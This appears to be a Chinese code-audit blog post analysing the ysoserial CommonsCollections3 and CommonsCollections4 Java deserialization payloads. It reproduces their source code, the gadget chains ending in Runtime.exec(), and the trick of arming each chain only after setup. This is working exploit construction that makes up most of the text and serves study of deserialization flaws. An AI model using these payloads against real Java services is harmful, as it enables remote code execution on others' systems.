『代码审计』ysoserial CC3 和 CC4 反序列化分析

/* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */@SuppressWarnings({"rawtypes", "unchecked", "restriction"})@PayloadTest ( precondition = "isApplicableJavaVersion")@Dependencies({"commons-collections:commons-collections:3.1"})@Authors({ Authors.FROHOFF })public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
    public Object getObject(final String command) throws Exception {        Object templatesImpl = Gadgets.createTemplatesImpl(command);
        // inert chain for setup        final Transformer transformerChain = new ChainedTransformer(            new Transformer[]{ new ConstantTransformer(1) });        // real chain for after setup        final Transformer[] transformers = new Transformer[] {                new ConstantTransformer(TrAXFilter.class),                new InstantiateTransformer(                        new Class[] { Templates.class },                        new Object[] { templatesImpl } )};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
        return handler;    }

    Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()

    public Object transform(Object input) {        try {            if (!(input instanceof Class)) {                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));            } else {                Constructor con = ((Class)input).getConstructor(this.iParamTypes);                return con.newInstance(this.iArgs);            }        } catch (NoSuchMethodException var6) {            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");        } catch (InstantiationException var7) {            throw new FunctorException("InstantiateTransformer: InstantiationException", var7);        } catch (IllegalAccessException var8) {            throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);        } catch (InvocationTargetException var9) {            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);        }    }}

new InstantiateTransformer(new Class[]{ Templates.class }new Object[] { templatesImpl } ).transform(new ConstantTransformer(TrAXFilter.class).transform())

new InstantiateTransformer(new Class[]{ Templates.class }new Object[] { templatesImpl } ).transform(TrAXFilter.class）

    Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InstantiateTransformer.transform()                                    Method.invoke()                                    Runtime.exec()

/* * Variation on CommonsCollections2 that uses InstantiateTransformer instead of * InvokerTransformer. */@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })@Dependencies({"org.apache.commons:commons-collections4:4.0"})@Authors({ Authors.FROHOFF })public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
    public Queue<Object> getObject(final String command) throws Exception {        Object templates = Gadgets.createTemplatesImpl(command);
        ConstantTransformer constant = new ConstantTransformer(String.class);
        // mock method name until armed        Class[] paramTypes = new Class[] { String.class };        Object[] args = new Object[] { "foo" };        InstantiateTransformer instantiate = new InstantiateTransformer(                paramTypes, args);
        // grab defensively copied arrays        paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");        args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        // create queue with numbers        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));        queue.add(1);        queue.add(1);
        // swap in values to arm        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);        paramTypes[0] = Templates.class;        args[0] = templates;
        return queue;    }

    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        ConstantTransformer.transform()

1.new一个ConstantTransformer类对象，形参数为String类对象2.new一个InstantiateTransformer类对象，形参为String类对象和一个字符串对象3.通过ChainedTransformer连接调用transform()方法，即如下：new InstantiateTransformer(new Class[]{ String.class }new Object[] {"foo" } ).transform(new ConstantTransformer(String.Class).transform())可简化为String类new一个形参为foo的对象，这里是为了防止PriorityQueue.add()方法触发任意代码执行。

    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        ConstantTransformer.transform()                        InstantiateTransformer.transform()                            Method.invoke()                            Runtime.exec()